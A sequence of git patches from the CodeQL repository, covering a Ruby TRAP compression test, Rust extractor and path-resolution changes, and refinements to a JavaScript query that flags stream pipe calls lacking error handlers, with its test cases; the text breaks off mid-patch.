+@pytest.mark.parametrize(("compression", "suffix"), [ + pytest.param("none", [], id="none"), + pytest.param("gzip", [".gz"], id="gzip"), + pytest.param("zstd", [".zst"], id="zstd"), +]) +def test(codeql, ruby, compression, suffix, cwd): + codeql.database.create( + _env={ + "CODEQL_EXTRACTOR_RUBY_OPTION_TRAP_COMPRESSION": compression, + } + ) + trap_files = [*(cwd / "test-db" / "trap").rglob("*.trap*")] + assert trap_files, "No trap files found" + expected_suffixes = [".trap"] + suffix + + def is_of_expected_format(file): + return file.name == "metadata.trap.gz" or \ + file.suffixes[-len(expected_suffixes):] == expected_suffixes + + files_with_wrong_format = [ + f for f in trap_files if not is_of_expected_format(f) + ] + assert not files_with_wrong_format, f"Found trap files with wrong format" From c8f5e26200f8eb91650185ed41395d8424ab2952 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 28 May 2025 16:48:02 +0200 Subject: [PATCH 429/535] Rust: fix compression option description --- rust/codeql-extractor.yml | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/rust/codeql-extractor.yml b/rust/codeql-extractor.yml index 464a13e1c098..ce876e8d3fff 100644 --- a/rust/codeql-extractor.yml +++ b/rust/codeql-extractor.yml @@ -23,8 +23,9 @@ options: title: Controls compression for the TRAP files written by the extractor. description: > This option is only intended for use in debugging the extractor. Accepted - values are 'gzip' (the default, to write gzip-compressed TRAP) 'zstd' (to - write Zstandard-compressed TRAP) and 'none' (to write uncompressed TRAP). + values are 'gzip' (to write gzip-compressed TRAP) 'zstd' (to write + Zstandard-compressed TRAP) and 'none' (the default, to write uncompressed + TRAP). type: string pattern: "^(none|gzip|zstd)$" cargo_target_dir: From 3fa308e7239f2aa3d1f8c769a423d2af62f64f0b Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Wed, 28 May 2025 15:40:48 +0200 Subject: [PATCH 430/535] Rust: Also take the `std` prelude into account when resolving paths --- .../lib/codeql/rust/internal/PathResolution.qll | 12 +++++++----- .../PathResolutionConsistency.expected | 15 +++++++++++++++ .../PathResolutionConsistency.expected | 11 +++++++++++ 3 files changed, 33 insertions(+), 5 deletions(-) create mode 100644 rust/ql/test/query-tests/security/CWE-770/CONSISTENCY/PathResolutionConsistency.expected create mode 100644 rust/ql/test/query-tests/security/CWE-825/CONSISTENCY/PathResolutionConsistency.expected diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index ca05b0fba7d1..7d9370ebb350 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -1404,18 +1404,20 @@ private predicate useImportEdge(Use use, string name, ItemNode item) { } /** - * Holds if `i` is available inside `f` because it is reexported in [the prelude][1]. + * Holds if `i` is available inside `f` because it is reexported in + * [the `core` prelude][1] or [the `std` prelude][2]. * * We don't yet have access to prelude information from the extractor, so for now * we include all the preludes for Rust: 2015, 2018, 2021, and 2024. * * [1]: https://doc.rust-lang.org/core/prelude/index.html + * [2]: https://doc.rust-lang.org/std/prelude/index.html */ private predicate preludeEdge(SourceFile f, string name, ItemNode i) { - exists(Crate core, ModuleLikeNode mod, ModuleItemNode prelude, ModuleItemNode rust | - f = any(Crate c0 | core = c0.getDependency(_) or core = c0).getASourceFile() and - core.getName() = "core" and - mod = core.getSourceFile() and + exists(Crate stdOrCore, ModuleLikeNode mod, ModuleItemNode prelude, ModuleItemNode rust | + f = any(Crate c0 | stdOrCore = c0.getDependency(_) or stdOrCore = c0).getASourceFile() and + stdOrCore.getName() = ["std", "core"] and + mod = stdOrCore.getSourceFile() and prelude = mod.getASuccessorRec("prelude") and rust = prelude.getASuccessorRec(["rust_2015", "rust_2018", "rust_2021", "rust_2024"]) and i = rust.getASuccessorRec(name) and diff --git a/rust/ql/test/query-tests/security/CWE-770/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-770/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 000000000000..d3d59980e32f --- /dev/null +++ b/rust/ql/test/query-tests/security/CWE-770/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,15 @@ +multiplePathResolutions +| main.rs:218:14:218:17 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:218:14:218:17 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:219:13:219:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:219:13:219:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:220:13:220:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:220:13:220:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:221:13:221:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:221:13:221:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:222:13:222:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:222:13:222:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:223:13:223:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:223:13:223:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:224:13:224:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:224:13:224:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | diff --git a/rust/ql/test/query-tests/security/CWE-825/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-825/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 000000000000..804c13f6434b --- /dev/null +++ b/rust/ql/test/query-tests/security/CWE-825/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,11 @@ +multiplePathResolutions +| deallocation.rs:106:16:106:19 | libc | file://:0:0:0:0 | Crate(libc@0.2.171) | +| deallocation.rs:106:16:106:19 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| deallocation.rs:106:16:106:27 | ...::malloc | file://:0:0:0:0 | fn malloc | +| deallocation.rs:106:16:106:27 | ...::malloc | file://:0:0:0:0 | fn malloc | +| deallocation.rs:112:3:112:6 | libc | file://:0:0:0:0 | Crate(libc@0.2.171) | +| deallocation.rs:112:3:112:6 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| deallocation.rs:112:3:112:12 | ...::free | file://:0:0:0:0 | fn free | +| deallocation.rs:112:3:112:12 | ...::free | file://:0:0:0:0 | fn free | +| deallocation.rs:112:29:112:32 | libc | file://:0:0:0:0 | Crate(libc@0.2.171) | +| deallocation.rs:112:29:112:32 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | From 5bb29b6e33ceebd152c1e14144c059190cf90d44 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Wed, 28 May 2025 17:17:43 +0200 Subject: [PATCH 431/535] Now flags only `.pipe` calls which have an error somewhere down the stream, but not on the source stream. --- .../ql/src/Quality/UnhandledStreamPipe.ql | 33 +++-- .../Quality/UnhandledStreamPipe/test.expected | 19 ++- .../Quality/UnhandledStreamPipe/test.js | 45 ++++--- .../Quality/UnhandledStreamPipe/tst.js | 113 ++++++++++++++++++ 4 files changed, 183 insertions(+), 27 deletions(-) create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 913957b4c688..62d3ac67996f 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -110,8 +110,11 @@ string getStreamMethodName() { * A call to register an event handler on a Node.js stream. * This includes methods like `on`, `once`, and `addListener`. */ -class StreamEventRegistration extends DataFlow::MethodCallNode { - StreamEventRegistration() { this.getMethodName() = getEventHandlerMethodName() } +class ErrorHandlerRegistration extends DataFlow::MethodCallNode { + ErrorHandlerRegistration() { + this.getMethodName() = getEventHandlerMethodName() and + this.getArgument(0).getStringValue() = "error" + } } /** @@ -136,7 +139,12 @@ predicate streamFlowStep(DataFlow::Node streamNode, DataFlow::Node relatedNode) * Tracks the result of a pipe call as it flows through the program. */ private DataFlow::SourceNode pipeResultTracker(DataFlow::TypeTracker t, PipeCall pipe) { - t.start() and result = pipe + t.start() and result = pipe.getALocalSource() + or + exists(DataFlow::SourceNode prev | + prev = pipeResultTracker(t.continue(), pipe) and + streamFlowStep(result.getALocalUse(), prev) + ) or exists(DataFlow::TypeTracker t2 | result = pipeResultTracker(t2, pipe).track(t2, t)) } @@ -166,7 +174,7 @@ predicate isPipeFollowedByNonStreamMethod(PipeCall pipeCall) { predicate isPipeFollowedByNonStreamProperty(PipeCall pipeCall) { exists(DataFlow::PropRef propRef | propRef = pipeResultRef(pipeCall).getAPropertyRead() and - not propRef.getPropertyName() = getStreamPropertyName() + not propRef.getPropertyName() = [getStreamPropertyName(), getStreamMethodName()] ) } @@ -206,9 +214,8 @@ private DataFlow::SourceNode streamRef(PipeCall pipeCall) { * Holds if the source stream of the given pipe call has an `error` handler registered. */ predicate hasErrorHandlerRegistered(PipeCall pipeCall) { - exists(StreamEventRegistration handler | - handler = streamRef(pipeCall).getAMethodCall(getEventHandlerMethodName()) and - handler.getArgument(0).getStringValue() = "error" + exists(ErrorHandlerRegistration handler | + handler = streamRef(pipeCall).getAMethodCall(getEventHandlerMethodName()) ) or hasPlumber(pipeCall) @@ -218,6 +225,8 @@ predicate hasErrorHandlerRegistered(PipeCall pipeCall) { * Holds if one of the arguments of the pipe call is a `gulp-plumber` monkey patch. */ predicate hasPlumber(PipeCall pipeCall) { + pipeCall.getDestinationStream().getALocalSource() = API::moduleImport("gulp-plumber").getACall() + or streamRef+(pipeCall) = API::moduleImport("gulp-plumber").getACall() } @@ -246,9 +255,19 @@ private predicate hasNonStreamSourceLikeUsage(PipeCall pipeCall) { ) } +/** + * Holds if the pipe call destination stream has an error handler registered. + */ +predicate hasErrorHandlerDownstream(PipeCall pipeCall) { + exists(ErrorHandlerRegistration handler | + handler.getReceiver().getALocalSource() = pipeResultRef(pipeCall) + ) +} + from PipeCall pipeCall where not hasErrorHandlerRegistered(pipeCall) and + hasErrorHandlerDownstream(pipeCall) and not isPipeFollowedByNonStreamAccess(pipeCall) and not hasNonStreamSourceLikeUsage(pipeCall) and not hasNonNodeJsStreamSource(pipeCall) diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index dbbc751e7b41..6d6012c0005e 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -5,9 +5,16 @@ | test.js:66:5:66:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:79:5:79:25 | s2.pipe ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:94:5:94:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:109:26:109:37 | s.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:116:5:116:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:125:5:125:26 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:143:5:143:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:175:17:175:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:185:5:185:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:110:11:110:22 | s.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:119:5:119:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:128:5:128:26 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:146:5:146:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:182:17:182:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:192:5:192:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:8:5:8:21 | source.pipe(gzip) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:29:5:29:40 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:37:21:37:56 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:44:5:44:40 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:59:18:59:39 | stream. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:73:5:73:40 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:111:5:111:26 | stream. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index a0db4f6392e6..a253f7edf006 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -1,7 +1,7 @@ function test() { { const stream = getStream(); - stream.pipe(destination); // $Alert + stream.pipe(destination).on("error", e); // $Alert } { const stream = getStream(); @@ -16,7 +16,7 @@ function test() { { const stream = getStream(); const s2 = stream; - s2.pipe(dest); // $Alert + s2.pipe(dest).on("error", e); // $Alert } { const stream = getStream(); @@ -42,7 +42,7 @@ function test() { const stream = getStream(); stream.on('error', handleError); const stream2 = stream.pipe(destination); - stream2.pipe(destination2); // $Alert + stream2.pipe(destination2).on("error", e); // $Alert } { const stream = getStream(); @@ -57,13 +57,13 @@ function test() { const stream = getStream(); stream.on('error', handleError); const stream2 = stream.pipe(destination); - stream2.pipe(destination2); // $Alert + stream2.pipe(destination2).on("error", e); // $Alert } { // Error handler on destination instead of source const stream = getStream(); const dest = getDest(); dest.on('error', handler); - stream.pipe(dest); // $Alert + stream.pipe(dest).on("error", e); // $Alert } { // Multiple aliases, error handler on one const stream = getStream(); @@ -76,7 +76,7 @@ function test() { const stream = getStream(); const s2 = stream.pipe(destination1); stream.on('error', handleError); - s2.pipe(destination2); // $Alert + s2.pipe(destination2).on("error", e); // $Alert } { // Handler registered via .once const stream = getStream(); @@ -91,7 +91,7 @@ function test() { { // Handler registered for unrelated event const stream = getStream(); stream.on('close', handleClose); - stream.pipe(dest); // $Alert + stream.pipe(dest).on("error", e); // $Alert } { // Error handler registered after pipe, but before error const stream = getStream(); @@ -106,14 +106,17 @@ function test() { } { // Pipe in a function, error handler not set const stream = getStream(); - function doPipe(s) { s.pipe(dest); } // $Alert + function doPipe(s) { + f = s.pipe(dest); // $Alert + f.on("error", e); + } doPipe(stream); } { // Dynamic event assignment const stream = getStream(); const event = 'error'; stream.on(event, handleError); - stream.pipe(dest); // $SPURIOUS:Alert + stream.pipe(dest).on("error", e); // $SPURIOUS:Alert } { // Handler assigned via variable property const stream = getStream(); @@ -122,12 +125,12 @@ function test() { stream.pipe(dest); } { // Pipe with no intermediate variable, no error handler - getStream().pipe(dest); // $Alert + getStream().pipe(dest).on("error", e); // $Alert } { // Handler set via .addListener synonym const stream = getStream(); stream.addListener('error', handleError); - stream.pipe(dest); + stream.pipe(dest).on("error", e); } { // Handler set via .once after .pipe const stream = getStream(); @@ -140,7 +143,11 @@ function test() { } { // Long chained pipe without error handler const stream = getStream(); - stream.pause().setEncoding('utf8').resume().pipe(writable); // $Alert + stream.pause().setEncoding('utf8').resume().pipe(writable).on("error", e); // $Alert + } + { // Long chained pipe without error handler + const stream = getStream(); + stream.pause().setEncoding('utf8').on("error", e).resume().pipe(writable).on("error", e); } { // Non-stream with pipe method that returns subscribable object (Streams do not have subscribe method) const notStream = getNotAStream(); @@ -172,7 +179,7 @@ function test() { } { // Member access on a stream after pipe const notStream = getNotAStream(); - const val = notStream.pipe(writable).readable; // $Alert + const val = notStream.pipe(writable).on("error", e).readable; // $Alert } { // Method access on a non-stream after pipe const notStream = getNotAStream(); @@ -182,7 +189,7 @@ function test() { const fs = require('fs'); const stream = fs.createReadStream('file.txt'); const copyStream = stream; - copyStream.pipe(destination); // $Alert + copyStream.pipe(destination).on("error", e); // $Alert } { const notStream = getNotAStream(); @@ -211,6 +218,16 @@ function test() { const p = plumber(); getStream().pipe(p).pipe(dest).pipe(dest).pipe(dest); } + { + const plumber = require('gulp-plumber'); + const p = plumber(); + getStream().pipe(p); + } + { + const plumber = require('gulp-plumber'); + const p = plumber(); + getStream().pipe(p).pipe(dest); + } { const notStream = getNotAStream(); notStream.pipe(getStream(),()=>{}); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js new file mode 100644 index 000000000000..01ad872a7485 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js @@ -0,0 +1,113 @@ +const fs = require('fs'); +const zlib = require('zlib'); + +function foo(){ + const source = fs.createReadStream('input.txt'); + const gzip = zlib.createGzip(); + const destination = fs.createWriteStream('output.txt.gz'); + source.pipe(gzip).pipe(destination); // $Alert + gzip.on('error', e); +} +class StreamWrapper { + constructor() { + this.outputStream = getStream(); + } +} + +function zip() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper(); + let stream = wrapper.outputStream; + stream.on('error', e); + stream.pipe(zipStream); + zipStream.on('error', e); +} + +function zip1() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper(); + wrapper.outputStream.pipe(zipStream); // $SPURIOUS:Alert + wrapper.outputStream.on('error', e); + zipStream.on('error', e); +} + +function zip2() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper(); + let outStream = wrapper.outputStream.pipe(zipStream); // $Alert + outStream.on('error', e); +} + +function zip3() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper(); + wrapper.outputStream.pipe(zipStream); // $Alert + zipStream.on('error', e); +} + +function zip3() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper(); + let source = getStream(); + source.pipe(wrapper.outputStream); // $MISSING:Alert + wrapper.outputStream.on('error', e); +} + +function zip4() { + const zipStream = createWriteStream(zipPath); + let stream = getStream(); + let output = stream.pipe(zipStream); // $Alert + output.on('error', e); +} + +class StreamWrapper2 { + constructor() { + this.outputStream = getStream(); + this.outputStream.on('error', e); + } + +} +function zip5() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper2(); + wrapper.outputStream.pipe(zipStream); // $SPURIOUS:Alert + zipStream.on('error', e); +} + +class StreamWrapper3 { + constructor() { + this.stream = getStream(); + } + pipeIt(dest) { + return this.stream.pipe(dest); + } + register_error_handler(listener) { + return this.stream.on('error', listener); + } +} + +function zip5() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper3(); + wrapper.pipeIt(zipStream); // $MISSING:Alert + zipStream.on('error', e); +} +function zip6() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper3(); + wrapper.pipeIt(zipStream); + wrapper.register_error_handler(e); + zipStream.on('error', e); +} + +function registerErr(stream, listerner) { + stream.on('error', listerner); +} + +function zip7() { + const zipStream = createWriteStream(zipPath); + let stream = getStream(); + registerErr(stream, e); + stream.pipe(zipStream); // $SPURIOUS:Alert + zipStream.on('error', e); +} From f8f5d8f56173976fe8e828297ef05e9e0897d592 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Wed, 28 May 2025 17:18:39 +0200 Subject: [PATCH 432/535] Exclude `.pipe` detection which are in a test file. --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 62d3ac67996f..0c9e23107d64 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -12,6 +12,7 @@ */ import javascript +import semmle.javascript.filters.ClassifyFiles /** * A call to the `pipe` method on a Node.js stream. @@ -270,6 +271,7 @@ where hasErrorHandlerDownstream(pipeCall) and not isPipeFollowedByNonStreamAccess(pipeCall) and not hasNonStreamSourceLikeUsage(pipeCall) and - not hasNonNodeJsStreamSource(pipeCall) + not hasNonNodeJsStreamSource(pipeCall) and + not isTestFile(pipeCall.getFile()) select pipeCall, "Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped." From 2e2b9a9d6372272cab206277da095ef5e31ad7e3 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Wed, 28 May 2025 17:23:55 +0200 Subject: [PATCH 433/535] Make predicates private and clarify stream reference naming. --- .../ql/src/Quality/UnhandledStreamPipe.ql | 76 ++++++++++--------- 1 file changed, 40 insertions(+), 36 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 0c9e23107d64..f5d9da6bb58a 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -37,12 +37,15 @@ class PipeCall extends DataFlow::MethodCallNode { * Gets a reference to a value that is known to not be a Node.js stream. * This is used to exclude pipe calls on non-stream objects from analysis. */ -DataFlow::Node getNonNodeJsStreamType() { +private DataFlow::Node getNonNodeJsStreamType() { result = getNonStreamApi().getAValueReachableFromSource() } -//highland, arktype execa -API::Node getNonStreamApi() { +/** + * Gets API nodes from modules that are known to not provide Node.js streams. + * This includes reactive programming libraries, frontend frameworks, and other non-stream APIs. + */ +private API::Node getNonStreamApi() { exists(string moduleName | moduleName .regexpMatch([ @@ -65,12 +68,12 @@ API::Node getNonStreamApi() { * Gets the method names used to register event handlers on Node.js streams. * These methods are used to attach handlers for events like `error`. */ -string getEventHandlerMethodName() { result = ["on", "once", "addListener"] } +private string getEventHandlerMethodName() { result = ["on", "once", "addListener"] } /** * Gets the method names that are chainable on Node.js streams. */ -string getChainableStreamMethodName() { +private string getChainableStreamMethodName() { result = [ "setEncoding", "pause", "resume", "unpipe", "destroy", "cork", "uncork", "setDefaultEncoding", @@ -81,14 +84,14 @@ string getChainableStreamMethodName() { /** * Gets the method names that are not chainable on Node.js streams. */ -string getNonchainableStreamMethodName() { +private string getNonchainableStreamMethodName() { result = ["read", "write", "end", "pipe", "unshift", "push", "isPaused", "wrap", "emit"] } /** * Gets the property names commonly found on Node.js streams. */ -string getStreamPropertyName() { +private string getStreamPropertyName() { result = [ "readable", "writable", "destroyed", "closed", "readableHighWaterMark", "readableLength", @@ -103,7 +106,7 @@ string getStreamPropertyName() { /** * Gets all method names commonly found on Node.js streams. */ -string getStreamMethodName() { +private string getStreamMethodName() { result = [getChainableStreamMethodName(), getNonchainableStreamMethodName()] } @@ -123,7 +126,7 @@ class ErrorHandlerRegistration extends DataFlow::MethodCallNode { * Connects destination streams to their corresponding pipe call nodes. * Connects streams to their chainable methods. */ -predicate streamFlowStep(DataFlow::Node streamNode, DataFlow::Node relatedNode) { +private predicate streamFlowStep(DataFlow::Node streamNode, DataFlow::Node relatedNode) { exists(PipeCall pipe | streamNode = pipe.getDestinationStream() and relatedNode = pipe @@ -139,22 +142,22 @@ predicate streamFlowStep(DataFlow::Node streamNode, DataFlow::Node relatedNode) /** * Tracks the result of a pipe call as it flows through the program. */ -private DataFlow::SourceNode pipeResultTracker(DataFlow::TypeTracker t, PipeCall pipe) { +private DataFlow::SourceNode destinationStreamRef(DataFlow::TypeTracker t, PipeCall pipe) { t.start() and result = pipe.getALocalSource() or exists(DataFlow::SourceNode prev | - prev = pipeResultTracker(t.continue(), pipe) and + prev = destinationStreamRef(t.continue(), pipe) and streamFlowStep(result.getALocalUse(), prev) ) or - exists(DataFlow::TypeTracker t2 | result = pipeResultTracker(t2, pipe).track(t2, t)) + exists(DataFlow::TypeTracker t2 | result = destinationStreamRef(t2, pipe).track(t2, t)) } /** * Gets a reference to the result of a pipe call. */ -private DataFlow::SourceNode pipeResultRef(PipeCall pipe) { - result = pipeResultTracker(DataFlow::TypeTracker::end(), pipe) +private DataFlow::SourceNode destinationStreamRef(PipeCall pipe) { + result = destinationStreamRef(DataFlow::TypeTracker::end(), pipe) } /** @@ -162,9 +165,9 @@ private DataFlow::SourceNode pipeResultRef(PipeCall pipe) { * Since pipe() returns the destination stream, this finds cases where * the destination stream is used with methods not typical of streams. */ -predicate isPipeFollowedByNonStreamMethod(PipeCall pipeCall) { +private predicate isPipeFollowedByNonStreamMethod(PipeCall pipeCall) { exists(DataFlow::MethodCallNode call | - call = pipeResultRef(pipeCall).getAMethodCall() and + call = destinationStreamRef(pipeCall).getAMethodCall() and not call.getMethodName() = getStreamMethodName() ) } @@ -172,9 +175,9 @@ predicate isPipeFollowedByNonStreamMethod(PipeCall pipeCall) { /** * Holds if the pipe call result is used to access a property that is not typical of streams. */ -predicate isPipeFollowedByNonStreamProperty(PipeCall pipeCall) { +private predicate isPipeFollowedByNonStreamProperty(PipeCall pipeCall) { exists(DataFlow::PropRef propRef | - propRef = pipeResultRef(pipeCall).getAPropertyRead() and + propRef = destinationStreamRef(pipeCall).getAPropertyRead() and not propRef.getPropertyName() = [getStreamPropertyName(), getStreamMethodName()] ) } @@ -183,7 +186,7 @@ predicate isPipeFollowedByNonStreamProperty(PipeCall pipeCall) { * Holds if the pipe call result is used in a non-stream-like way, * either by calling non-stream methods or accessing non-stream properties. */ -predicate isPipeFollowedByNonStreamAccess(PipeCall pipeCall) { +private predicate isPipeFollowedByNonStreamAccess(PipeCall pipeCall) { isPipeFollowedByNonStreamMethod(pipeCall) or isPipeFollowedByNonStreamProperty(pipeCall) } @@ -192,51 +195,52 @@ predicate isPipeFollowedByNonStreamAccess(PipeCall pipeCall) { * Gets a reference to a stream that may be the source of the given pipe call. * Uses type back-tracking to trace stream references in the data flow. */ -private DataFlow::SourceNode streamRef(DataFlow::TypeBackTracker t, PipeCall pipeCall) { +private DataFlow::SourceNode sourceStreamRef(DataFlow::TypeBackTracker t, PipeCall pipeCall) { t.start() and result = pipeCall.getSourceStream().getALocalSource() or exists(DataFlow::SourceNode prev | - prev = streamRef(t.continue(), pipeCall) and + prev = sourceStreamRef(t.continue(), pipeCall) and streamFlowStep(result.getALocalUse(), prev) ) or - exists(DataFlow::TypeBackTracker t2 | result = streamRef(t2, pipeCall).backtrack(t2, t)) + exists(DataFlow::TypeBackTracker t2 | result = sourceStreamRef(t2, pipeCall).backtrack(t2, t)) } /** * Gets a reference to a stream that may be the source of the given pipe call. */ -private DataFlow::SourceNode streamRef(PipeCall pipeCall) { - result = streamRef(DataFlow::TypeBackTracker::end(), pipeCall) +private DataFlow::SourceNode sourceStreamRef(PipeCall pipeCall) { + result = sourceStreamRef(DataFlow::TypeBackTracker::end(), pipeCall) } /** * Holds if the source stream of the given pipe call has an `error` handler registered. */ -predicate hasErrorHandlerRegistered(PipeCall pipeCall) { +private predicate hasErrorHandlerRegistered(PipeCall pipeCall) { exists(ErrorHandlerRegistration handler | - handler = streamRef(pipeCall).getAMethodCall(getEventHandlerMethodName()) + handler = sourceStreamRef(pipeCall).getAMethodCall(getEventHandlerMethodName()) ) or hasPlumber(pipeCall) } /** - * Holds if one of the arguments of the pipe call is a `gulp-plumber` monkey patch. + * Holds if the pipe call uses `gulp-plumber`, which automatically handles stream errors. + * Gulp-plumber is a Node.js module that prevents pipe breaking caused by errors from gulp plugins. */ -predicate hasPlumber(PipeCall pipeCall) { +private predicate hasPlumber(PipeCall pipeCall) { pipeCall.getDestinationStream().getALocalSource() = API::moduleImport("gulp-plumber").getACall() or - streamRef+(pipeCall) = API::moduleImport("gulp-plumber").getACall() + sourceStreamRef+(pipeCall) = API::moduleImport("gulp-plumber").getACall() } /** * Holds if the source or destination of the given pipe call is identified as a non-Node.js stream. */ -predicate hasNonNodeJsStreamSource(PipeCall pipeCall) { - streamRef(pipeCall) = getNonNodeJsStreamType() or - pipeResultRef(pipeCall) = getNonNodeJsStreamType() +private predicate hasNonNodeJsStreamSource(PipeCall pipeCall) { + sourceStreamRef(pipeCall) = getNonNodeJsStreamType() or + destinationStreamRef(pipeCall) = getNonNodeJsStreamType() } /** @@ -244,13 +248,13 @@ predicate hasNonNodeJsStreamSource(PipeCall pipeCall) { */ private predicate hasNonStreamSourceLikeUsage(PipeCall pipeCall) { exists(DataFlow::MethodCallNode call, string name | - call.getReceiver().getALocalSource() = streamRef(pipeCall) and + call.getReceiver().getALocalSource() = sourceStreamRef(pipeCall) and name = call.getMethodName() and not name = getStreamMethodName() ) or exists(DataFlow::PropRef propRef, string propName | - propRef.getBase().getALocalSource() = streamRef(pipeCall) and + propRef.getBase().getALocalSource() = sourceStreamRef(pipeCall) and propName = propRef.getPropertyName() and not propName = [getStreamPropertyName(), 